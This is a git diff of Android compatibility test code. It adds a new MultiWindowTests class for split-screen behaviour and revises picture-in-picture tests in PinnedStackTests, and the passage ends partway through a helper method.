diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
new file mode 100644
index 0000000..6850dab
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.wm.TestTaskOrganizer.INVALID_TASK_ID;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
+import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
+import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
+
+import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ComponentName;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivityCallback;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:MultiWindowTests
+ */
+@Presubmit
+@android.server.wm.annotation.Group2
+public class MultiWindowTests extends ActivityManagerTestBase {
+
+    private boolean mIsHomeRecentsComponent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
+
+        assumeTrue("Skipping test: no split multi-window support",
+                supportsSplitScreenMultiWindow());
+    }
+
+    @Test
+    public void testMinimumDeviceSize() {
+        mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
+                "Devices supporting multi-window must be larger than the default minimum"
+                        + " task size");
+        mWmState.assertDeviceDefaultDisplaySizeForSplitScreen(
+                "Devices supporting split-screen multi-window must be larger than the"
+                        + " default minimum display size.");
+    }
+
+    /** Resizeable activity should be able to enter multi-window mode.*/
+    @Test
+    public void testResizeableActivity() {
+        launchActivityInPrimarySplit(TEST_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        mWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+    }
+
+    /**
+     * Non-resizeable activity should NOT be able to enter multi-window mode,
+     * but should still be visible.
+     */
+    @Test
+    public void testNonResizeableActivity() {
+        boolean gotAssertionError = false;
+        try {
+            launchActivityInPrimarySplit(NON_RESIZEABLE_ACTIVITY);
+        } catch (AssertionError e) {
+            gotAssertionError = true;
+        }
+        assertTrue("Trying to put non-resizeable activity in split should throw error.",
+                gotAssertionError);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+    }
+
+    @Test
+    public void testLaunchToSideMultiWindowCallbacks() {
+        // Launch two activities in split-screen mode.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(NO_RELAUNCH_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        int displayWindowingMode = mWmState.getDisplay(
+                mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
+        separateTestJournal();
+        mTaskOrganizer.dismissedSplitScreen();
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
+            final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+                    NO_RELAUNCH_ACTIVITY);
+            assertEquals(1,
+                    lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        } else {
+            // Display is not a fullscreen display, so there won't be a multi-window callback.
+            // Instead just verify that windows are not in split-screen anymore.
+            waitForIdle();
+            mWmState.computeState();
+            mWmState.assertDoesNotContainStack("Must have exited split-screen",
+                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+        }
+    }
+
+    @Test
+    public void testNoUserLeaveHintOnMultiWindowModeChanged() {
+        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+        // Move to primary split.
+        separateTestJournal();
+        final int primaryTaskId = mWmState.getTaskByActivity(NO_RELAUNCH_ACTIVITY).mTaskId;
+        mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
+
+        ActivityLifecycleCounts lifecycleCounts =
+                waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        assertEquals("mUserLeaveHintCount",
+                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+
+        // Make sure primary split is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        final int secondaryTaskId = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+        launchActivity(NO_RELAUNCH_ACTIVITY);
+
+        // Move activities back to fullscreen screen.
+        separateTestJournal();
+        mTaskOrganizer.dismissedSplitScreen();
+
+        lifecycleCounts = waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        assertEquals("mUserLeaveHintCount",
+                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+    }
+
+    @Test
+    public void testLaunchToSideAndBringToFront() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY);
+
+        // Launch another activity to side to cover first one.
+        launchActivityInSecondarySplit(NO_RELAUNCH_ACTIVITY);
+        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                NO_RELAUNCH_ACTIVITY);
+
+        // Launch activity that was first launched to side. It should be brought to front.
+        launchActivity(TEST_ACTIVITY);
+        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchToSideMultiple() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        // Try to launch to side same activity again.
+        launchActivity(TEST_ACTIVITY);
+        mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
+        final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+        assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+        mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchToSideSingleInstance() {
+        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
+    }
+
+    @Test
+    public void testLaunchToSideSingleTask() {
+        launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
+    }
+
+    @Test
+    public void testLaunchToSideMultipleWithDifferentIntent() {
+        launchTargetToSide(TEST_ACTIVITY, true);
+    }
+
+    private void launchTargetToSide(ComponentName targetActivityName,
+            boolean taskCountMustIncrement) {
+        launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
+
+        // Launch target to side
+        final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
+                .setTargetActivity(targetActivityName)
+                .setToSide(true)
+                .setRandomData(true)
+                .setMultipleTask(false);
+        targetActivityLauncher.execute();
+        final int secondaryTaskId = mWmState.getTaskByActivity(targetActivityName).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+        final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        // Try to launch to side same activity again with different data.
+        targetActivityLauncher.execute();
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+
+        WindowManagerState.ActivityTask task = mWmState.getTaskByActivity(targetActivityName,
+                secondaryTaskId);
+        int secondaryTaskId2 = INVALID_TASK_ID;
+        if (task != null) {
+            secondaryTaskId2 = mWmState.getTaskByActivity(targetActivityName,
+                    secondaryTaskId).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId2);
+        }
+        final int taskNumberSecondLaunch = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+                    taskNumberSecondLaunch);
+        } else {
+            assertEquals("Task number must not change.", taskNumberInitial,
+                    taskNumberSecondLaunch);
+        }
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+
+        // Try to launch to side same activity again with different random data. Note that null
+        // cannot be used here, since the first instance of TestActivity is launched with no data
+        // in order to launch into split screen.
+        targetActivityLauncher.execute();
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+        WindowManagerState.ActivityTask taskFinal =
+                mWmState.getTaskByActivity(targetActivityName, secondaryTaskId2);
+        if (taskFinal != null) {
+            int secondaryTaskId3 = mWmState.getTaskByActivity(targetActivityName,
+                    secondaryTaskId2).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId3);
+        }
+        final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+                    taskNumberFinal);
+        } else {
+            assertEquals("Task number must not change.", taskNumberSecondLaunch,
+                    taskNumberFinal);
+        }
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+    }
+
+    @Test
+    public void testLaunchToSideMultipleWithFlag() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder()
+                        .setTargetActivity(TEST_ACTIVITY),
+                getLaunchActivityBuilder()
+                        // Try to launch to side same activity again,
+                        // but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+                        .setMultipleTask(true)
+                        .setTargetActivity(TEST_ACTIVITY));
+        assertTrue("Primary split must contain TEST_ACTIVITY",
+                mWmState.getRootTask(mTaskOrganizer.getPrimarySplitTaskId())
+                        .containsActivity(TEST_ACTIVITY)
+        );
+
+        assertTrue("Secondary split must contain TEST_ACTIVITY",
+                mWmState.getRootTask(mTaskOrganizer.getSecondarySplitTaskId())
+                        .containsActivity(TEST_ACTIVITY)
+                );
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testSameProcessActivityResumedPreQ() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
+
+        assertEquals("There must be only one resumed activity in the package.", 1,
+                mWmState.getResumedActivitiesCountInPackage(
+                        SDK_27_TEST_ACTIVITY.getPackageName()));
+    }
+
+    @Test
+    public void testDifferentProcessActivityResumedPreQ() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
+
+        assertEquals("There must be only two resumed activities in the package.", 2,
+                mWmState.getResumedActivitiesCountInPackage(
+                        SDK_27_TEST_ACTIVITY.getPackageName()));
+    }
+
+    @Test
+    public void testDisallowEnterSplitscreenWhenInLockedTask() {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        WindowManagerState.ActivityTask task =
+                mWmState.getStandardRootTaskByWindowingMode(
+                        WINDOWING_MODE_FULLSCREEN).getTopTask();
+
+        // Lock the task and ensure that we can't enter split screen
+        try {
+            runWithShellPermission(() -> {
+                mAtm.startSystemLockTaskMode(task.mTaskId);
+            });
+            waitForOrFail("Task in lock mode", () -> {
+                return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
+            });
+
+            assertFalse(setActivityTaskWindowingMode(TEST_ACTIVITY,
+                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
+    @Test
+    public void testStackListOrderLaunchDockedActivity() {
+        assumeTrue(!mIsHomeRecentsComponent);
+
+        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+
+        final int homeStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+        final int recentsStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
+        assertThat("Recents stack should be on top of home stack",
+                recentsStackIndex, lessThan(homeStackIndex));
+    }
+
+
+    /**
+     * Asserts that the activity is visible when the top opaque activity finishes and with another
+     * translucent activity on top while in split-screen-secondary task.
+     */
+    @Test
+    public void testVisibilityWithTranslucentAndTopFinishingActivity() {
+        // Launch two activities in split-screen mode.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
+
+        // Launch two more activities on a different task on top of split-screen-secondary and
+        // only the top opaque activity should be visible.
+        getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
+        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
+        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
+
+        // Finish the top opaque activity and both the two activities should be visible.
+        mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
+        mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
+        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
+        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 61e2feb..cb022df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -17,14 +17,13 @@
 package android.server.wm;
 
 import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.CliIntentExtra.*;
+import static android.server.wm.CliIntentExtra.extraBool;
 import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getWindowName;
@@ -36,6 +35,7 @@
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCH_ENTER_PIP_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY;
+import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
 import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.PIP_ACTIVITY;
 import static android.server.wm.app.Components.PIP_ACTIVITY2;
@@ -61,6 +61,7 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_DENOMINATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_NUMERATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
 import static android.server.wm.app.Components.RESUME_WHILE_PAUSING_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
@@ -171,14 +172,7 @@
     @Test
     public void testEnterPictureInPictureMode() throws Exception {
         pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true")),
-                PIP_ACTIVITY, PIP_ACTIVITY, false /* moveTopToPinnedStack */,
-                false /* isFocusable */);
-    }
-
-    @Test
-    public void testMoveTopActivityToPinnedRootTask() throws Exception {
-        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY, PIP_ACTIVITY,
-                true /* moveTopToPinnedStack */, false /* isFocusable */);
+                PIP_ACTIVITY, PIP_ACTIVITY, false /* isFocusable */);
     }
 
     // This test is black-listed in cts-known-failures.xml (b/35314835).
@@ -187,7 +181,7 @@
     public void testAlwaysFocusablePipActivity() throws Exception {
         pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
                 ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
-                false /* moveTopToPinnedStack */, true /* isFocusable */);
+                true /* isFocusable */);
     }
 
     // This test is black-listed in cts-known-failures.xml (b/35314835).
@@ -196,7 +190,7 @@
     public void testLaunchIntoPinnedStack() throws Exception {
         pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
                 LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
-                false /* moveTopToPinnedStack */, true /* isFocusable */);
+                true /* isFocusable */);
     }
 
     @Test
@@ -275,7 +269,7 @@
 
         // compare the bounds with minimal size
         final Rect pipBounds = getPinnedStackBounds();
-        assertTrue("Pinned stack bounds is no smaller than minimal",
+        assertTrue("Pinned task bounds " + pipBounds + " isn't smaller than minimal " + minSize,
                 (pipBounds.width() == minSize.getWidth()
                         && pipBounds.height() >= minSize.getHeight())
                         || (pipBounds.height() == minSize.getHeight()
@@ -602,6 +596,9 @@
 
     @Test
     public void testPipUnPipOverHome() throws Exception {
+        // Launch a task behind home to assert that the next fullscreen task isn't visible when
+        // leaving PiP.
+        launchActivity(TEST_ACTIVITY);
         // Go home
         launchHomeActivity();
         // Launch an auto pip activity
@@ -614,6 +611,7 @@
         waitForExitPipToFullscreen(PIP_ACTIVITY);
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, false);
         mWmState.assertHomeActivityVisible(true);
     }
 
@@ -640,9 +638,7 @@
         // Launch a pip activity
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
         // no fullscreen/freeform stack existed before)
@@ -658,9 +654,7 @@
         launchActivity(PIP_ACTIVITY);
         int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
         int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
         // behind the top fullscreen/freeform activity
@@ -677,9 +671,7 @@
         launchHomeActivity();
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed on top of the hidden
         // fullscreen/freeform stack, but that the home stack is still focused
@@ -696,9 +688,7 @@
         // Launch a pip activity
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
         // no fullscreen/freeform stack existed before)
@@ -714,9 +704,7 @@
         launchActivity(PIP_ACTIVITY);
         int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
         int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
         // behind the top fullscreen/freeform activity
@@ -733,9 +721,7 @@
         launchHomeActivity();
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed on top of the hidden
         // fullscreen/freeform stack, but that the home stack is still focused
@@ -868,12 +854,10 @@
     public void testConfigurationChangeOrderDuringTransition() throws Exception {
         // Launch a PiP activity and ensure configuration change only happened once, and that the
         // configuration change happened after the picture-in-picture and multi-window callbacks
-        launchActivity(PIP_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         separateTestJournal();
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
         waitForValidPictureInPictureCallbacks(PIP_ACTIVITY);
         assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, windowingMode);
 
@@ -1078,39 +1062,15 @@
     }
 
     @Test
-    public void testPinnedStackWithDockedStack() throws Exception {
-        assumeTrue(supportsSplitScreenMultiWindow());
+    public void testTranslucentActivityOnTopOfPinnedTask() {
+        launchActivity(LAUNCH_PIP_ON_PIP_ACTIVITY);
+        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
+        // translucent activity.
+        enterPipAndAssertPinnedTaskExists(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
 
-        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
-        waitForEnterPip(PIP_ACTIVITY);
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(PIP_ACTIVITY, true);
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Launch the activities again to take focus and make sure nothing is hidden
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Go to recents to make sure that fullscreen stack is invisible
-        // Some devices do not support recents or implement it differently (instead of using a
-        // separate stack id or as an activity), for those cases the visibility asserts will be
-        // ignored
-        if (pressAppSwitchButtonAndWaitForRecents()) {
-            mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-            mWmState.assertVisibility(TEST_ACTIVITY, false);
-        }
+        assertPinnedStackIsOnTop();
+        mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
+        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
     }
 
     @Test
@@ -1250,9 +1210,7 @@
         // Launch the PIP activity with max allowed actions
         launchActivity(PIP_ACTIVITY,
                 extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions)));
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
     }
@@ -1263,13 +1221,43 @@
         // Launch the PIP activity with exceeded amount of actions
         launchActivity(PIP_ACTIVITY,
                 extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions + 1)));
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
     }
 
+    @Test
+    public void testIsSeamlessResizeEnabledDefaultToTrue() {
+        // Launch the PIP activity with some random param without setting isSeamlessResizeEnabled
+        // so the PictureInPictureParams acquired from TaskInfo is not null
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(1)));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        // Assert the default value of isSeamlessResizeEnabled is set to true.
+        assertIsSeamlessResizeEnabled(PIP_ACTIVITY, true);
+    }
+
+    @Test
+    public void testDisableIsSeamlessResizeEnabled() {
+        // Launch the PIP activity with overridden isSeamlessResizeEnabled param
+        launchActivity(PIP_ACTIVITY, extraBool(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, false));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        // Assert the value of isSeamlessResizeEnabled is overridden.
+        assertIsSeamlessResizeEnabled(PIP_ACTIVITY, false);
+    }
+
+    private void assertIsSeamlessResizeEnabled(ComponentName componentName, boolean expected) {
+        runWithShellPermission(() -> {
+            final ActivityTask task = mWmState.getTaskByActivity(componentName);
+            final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
